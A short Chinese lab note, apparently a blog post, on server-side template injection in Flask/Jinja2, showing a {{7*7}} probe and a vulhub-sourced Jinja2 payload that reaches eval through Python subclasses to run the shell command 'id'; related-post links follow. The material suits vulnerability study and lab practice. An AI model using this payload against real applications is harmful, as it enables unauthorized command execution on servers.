Flask(Jinja2) 服务端模板注入漏洞(SSTI)

Flask(Jinja2) 服务端模板注入漏洞(SSTI)

参考 https://www.freebuf.com/articles/web/260504.html

验证漏洞存在 ?name={{7*7}}

回显49说明漏洞存在

vulhub给出的payload:

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
相关推荐
梨子串桃子_3 小时前
推荐系统学习笔记 | PyTorch学习笔记
pytorch·笔记·python·学习·算法
Bruce_Liuxiaowei3 小时前
基于HTA的Meterpreter反向Shell攻击实验
网络·windows·经验分享·网络安全·渗透测试
文言一心4 小时前
LINUX离线升级 Python 至 3.11.9 操作手册
linux·运维·python
楠目4 小时前
PHP 文件包含以及PHP伪协议
网络安全
诗词在线4 小时前
中国古代诗词名句按主题分类有哪些?(爱国 / 思乡 / 送别)
人工智能·python·分类·数据挖掘
高锰酸钾_4 小时前
机器学习-L1正则化和L2正则化解决过拟合问题
人工智能·python·机器学习
QuantumRedGuestk5 小时前
CS工具正反向渗透靶场实操解读【文图】
网络安全·内网渗透·cs·靶场渗透
天天睡大觉5 小时前
Python学习11
网络·python·学习
智航GIS5 小时前
11.11 Pandas性能革命:向量化操作与内存优化实战指南
python·pandas